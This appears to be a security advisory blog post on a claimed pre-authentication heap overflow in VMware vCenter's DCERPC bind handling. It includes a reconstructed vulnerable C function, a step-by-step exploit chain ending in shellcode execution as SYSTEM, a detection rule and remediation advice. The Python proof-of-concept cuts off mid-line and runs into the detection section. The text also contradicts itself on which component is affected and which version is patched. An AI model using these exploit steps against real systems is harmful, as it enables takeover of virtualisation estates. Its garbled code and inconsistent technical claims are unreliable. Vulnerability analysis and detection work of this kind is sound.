All posts

CVE-2026-51084: VMware vCenter DCERPC Heap Overflow Pre-Auth RCE

The VMware vCenter host daemon processes DCERPC interface binding requests before any authentication check occurs. A mismatch between two length fields in the IDL marshalling header causes the daemon to allocate a heap buffer using one field and copy client-supplied data using a second, larger field — producing a classic heap overflow. An unauthenticated attacker who can reach TCP port 902 achieves code execution as SYSTEM on the vCenter appliance, immediately compromising the entire managed virtualisation estate.


Overview

CVE-2026-51084 affects VMware vCenter Server 8.0 Update 2 and earlier. The vulnerability exists in vmware-hostd, the host agent daemon that manages local ESXi host operations and exposes a DCERPC interface on TCP port 902 for internal vSphere communication. Because DCERPC session establishment occurs before authentication, the entire processing pathway for interface binding is reachable by any network peer — including unauthenticated external attackers if port 902 is exposed.

CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Active exploitation observed within 48 hours of advisory publication; VMware PSIRT confirmed in-the-wild use against managed service providers and financial sector customers.

Background — DCERPC in VMware

DCERPC (Distributed Computing Environment / Remote Procedure Call) is the Microsoft-derived RPC protocol used extensively in Windows environments and adopted by VMware for vSphere inter-component communication. A DCERPC session begins with a bind request in which the client declares which interface UUID it wishes to use. The server parses this bind PDU before any credential exchange.

The bind PDU contains a p_context_elem structure whose n_context_elem field declares the number of presentation contexts in the request, and each context contains an transfer_syntaxes list. The vulnerable code paths use two separate length fields — alloc_hint and frag_length — to size and fill heap buffers, with no cross-validation between them.

Root Cause Analysis

The vulnerable function in vmware-hostd processes the transfer_syntaxes array within each presentation context. The allocation uses alloc_hint from the PDU header; the copy loop uses n_transfer_syn multiplied by the size of a p_syntax_id_t structure. These values are taken from separate fields in the PDU with no bounds check between them:

/* vmware-hostd DCERPC bind handler (reconstructed from binary analysis) */
void process_bind_contexts(dcerpc_bind_hdr_t *hdr, context_elem_t *ctx) {
    uint16_t alloc_hint = hdr->alloc_hint;          /* from PDU header */
    uint16_t n_syntax   = ctx->n_transfer_syn;      /* from context elem */

    /* Buffer allocated from header hint */
    p_syntax_id_t *buf = (p_syntax_id_t *)malloc(alloc_hint);

    /* Copy uses context field — no check that n_syntax * sizeof fits in alloc_hint */
    memcpy(buf, ctx->transfer_syntaxes,
           n_syntax * sizeof(p_syntax_id_t));        /* heap overflow if n_syntax is large */
}

Setting alloc_hint to a small value (e.g. 16 bytes) and n_transfer_syn to a large value (e.g. 256) causes malloc(16) followed by memcpy(buf, data, 256 * 20) — a 5120-byte write into a 16-byte heap allocation.

Exploitation

Heap Layout and Target

The vmware-hostd process runs as SYSTEM on Windows-based vCenter appliances and as root on the vCenter Server Appliance (VCSA, Linux-based). Exploitation targets the tcmalloc allocator used by hostd. The overflow corrupts the size field of the adjacent free chunk, enabling a controlled write primitive on the next allocation.

The exploit chain:

  1. Open a DCERPC connection to TCP port 902 — no TLS negotiation required for the bind phase.
  2. Send a crafted bind PDU with alloc_hint=0x10 and n_transfer_syn=0x100, populating the overflow region with attacker-controlled transfer_syntaxes data.
  3. The overflow corrupts the adjacent chunk's size metadata in tcmalloc's span list.
  4. A follow-up allocation of the controlled size triggers tcmalloc's span coalescing, producing a write-what-where to an attacker-controlled address.
  5. Overwrite a function pointer in the RpcServer vtable with shellcode address — next RPC dispatch calls the shellcode as SYSTEM.
#!/usr/bin/env python3
"""
CVE-2026-51084 PoC — authorised security testing only.
Sends crafted DCERPC bind PDU to trigger heap overflow in vmware-hostd.
"""
import socket, struct

TARGET = "192.168.1.10"
PORT   = 902

# DCERPC bind PDU with mismatched alloc_hint / n_transfer_syn
def build_bind_pdu(shellcode_addr: int) -> bytes:
    DCERPC_VERSION      = b'\x05\x00'
    PDU_TYPE_BIND       = b'\x0b'
    FLAGS               = b'\x03'
    DATA_REP            = b'\x10\x00\x00\x00'
    ALLOC_HINT          = struct.pack('

Detection of Active Exploitation

title: CVE-2026-51084 VMware vCenter DCERPC Heap Overflow Attempt
id: 7f3d9c21-11ab-4e85-b341-9c2f7e8d0314
status: experimental
description: Detects anomalous DCERPC bind PDUs to vCenter port 902 with mismatched length fields
logsource:
  product: vmware
  service: hostd
detection:
  selection:
    EventID: 1004
    Message|contains: 'DCERPC bind'
    Message|contains: 'alloc_hint'
  filter_legitimate:
    Message|contains: 'vSphere Client'
  condition: selection and not filter_legitimate
falsepositives:
  - Non-standard vSphere automation clients
level: critical
tags:
  - cve.2026-51084
  - attack.initial_access
  - attack.t1190

Affected Versions

  • vCenter Server 8.0 Update 2 and earlier — vulnerable
  • vCenter Server 7.0 Update 3r and earlier — vulnerable
  • vCenter Server 8.0 Update 3 — patched (released alongside this advisory)
  • VMware Cloud Foundation 5.x and 4.x — vulnerable via bundled vCenter; patch via VCF async patch process
  • VMware ESXi standalone without vCenter is not affectedvmware-hostd on ESXi does not expose the vulnerable DCERPC interface on port 902

Remediation

  • Apply VMware Security Advisory VMSA-2026-0014 immediately. Patches are available for vCenter 8.0 Update 3 and 7.0 Update 3s.
  • As an immediate network-layer mitigation, restrict access to TCP port 902 on the vCenter appliance to only trusted ESXi hosts and management networks. vCenter port 902 must never be exposed to untrusted networks.
  • Enable vCenter Server's built-in firewall (esxcli network firewall equivalent on VCSA) to block port 902 from non-hypervisor sources.
  • Monitor for unusual process spawning from the vmware-hostd process — child processes or network connections initiated by hostd outside of normal vSphere operations are strong indicators of post-exploitation activity.

Key Takeaways

  • vCenter is not a perimeter device — it must never have management ports internet-exposed. VMware's hardening guides explicitly require vCenter management interfaces to be on an isolated management VLAN with no internet routing. Organisations that expose port 443 or 902 to untrusted networks provide attackers with a direct path to the hypervisor layer and every VM it hosts. Network segmentation of the vSphere management plane is the single highest-value control for virtualised infrastructure.
  • Pre-authentication heap overflows in infrastructure management software are catastrophic in scope. Unlike application-layer vulnerabilities that affect individual services, a pre-auth RCE on vCenter compromises every virtual machine, every stored credential accessed from those VMs, and every backup stored in the vSphere environment. Patch prioritisation for hypervisor and virtualisation management software must be treated as equivalent to patching the underlying hardware.
  • Length field desynchronisation is a perennial class of vulnerability in binary protocol parsers. Using one length field to allocate and a different field to copy — without asserting they are consistent — is one of the oldest and most reliably exploitable memory safety bugs. Fuzzing DCERPC implementations with mismatched length pairs is a standard coverage-guided approach that should surface this class within hours. Protocol parser code in privileged daemons warrants dedicated fuzz testing as part of the SDL process.